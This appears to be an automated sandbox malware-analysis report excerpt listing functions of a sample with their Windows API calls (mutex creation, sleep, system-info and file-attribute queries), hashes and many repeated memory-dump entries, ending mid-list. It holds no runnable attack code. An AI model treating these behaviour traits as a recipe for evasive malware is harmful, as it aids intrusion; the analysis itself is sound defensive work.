Instruction Fuzzy Hash: FC2136317042009BEB189F2CFD8972DB661EBC2314F604A1EE818C72D2DBBE5991861A

Function 0042A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: f71051724b9a5c4e9012b1c49b66575f27076a676df1940e3bf6d149b10f4d8a
Instruction ID: 76cd471d1d0fb949499fe07d252d22cabe2c007a9cdac58cd84b2f6602d5d917
Opcode Fuzzy Hash: f71051724b9a5c4e9012b1c49b66575f27076a676df1940e3bf6d149b10f4d8a
Instruction Fuzzy Hash: 7C2168307592108BF7247B69B98A72EB2519F82304FE04C1BF808D63D2CAAE4891825F

Function 0042A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: bdb11c87bafad26c5f2127dd05929b90f7ef5c9490580822403a7b8b00133d04
Instruction ID: 31207b088e13b8ad39701acf4f6aba4627ae418b255625c9a424ad878556ba89
Opcode Fuzzy Hash: bdb11c87bafad26c5f2127dd05929b90f7ef5c9490580822403a7b8b00133d04
Instruction Fuzzy Hash: 052133717042009BEB18DF2CED8576DB662EB82315F604A1EE814D77E2CBBE55A0821A

Function 00427D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00427ED3

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 0675422138b44b614303470cd894783bb80207332513b51b0d3cc621b2664798
Instruction ID: 0a374abf31cedd9b2e8bd0e6161cdd2fefb7a932722492aecc229a75688fc84f
Opcode Fuzzy Hash: 0675422138b44b614303470cd894783bb80207332513b51b0d3cc621b2664798
Instruction Fuzzy Hash: 4CE127B0F002249BDB25BB29DD073AE7661AB45724FD046DEE815673C2DB7D4E8087CA

Function 0045D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0045A813,00000001,00000364,00000006,000000FF,?,0045EE3F,?,00000004,00000000,?,?), ref: 0045D870

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 04a83dd21940c4ad88b57f3e5a1524b29e73d6c8406fbea1a836fd8a73572a6d
Instruction ID: d7a3a6a02576aaedb35e75bdaf9f91a338a6856c21ee3eebae2945f7149f830b
Opcode Fuzzy Hash: 04a83dd21940c4ad88b57f3e5a1524b29e73d6c8406fbea1a836fd8a73572a6d
Instruction Fuzzy Hash: 3FF0E932D0552466DB313A73AC01B5B37599F417B2B158437EC24E7293DE29DC0CC6E9

Function 004287B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0042DA1D,?,?,?,?), ref: 004287B9

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 54d8080e81fecfdc255cfc5fee31b494819f408d121fc1c815485741d75b7d3b
Instruction ID: 73af98add8af29c5e994f39ad9a996c74b3abb6ad5532a30305b40dbe54748d3
Opcode Fuzzy Hash: 54d8080e81fecfdc255cfc5fee31b494819f408d121fc1c815485741d75b7d3b
Instruction Fuzzy Hash: FFC08C2821361005FD1C093C2E848AE33059DD7BAC7F41F8DE0708B2E1CE3D680BD218

Function 004287B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0042DA1D,?,?,?,?), ref: 004287B9

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
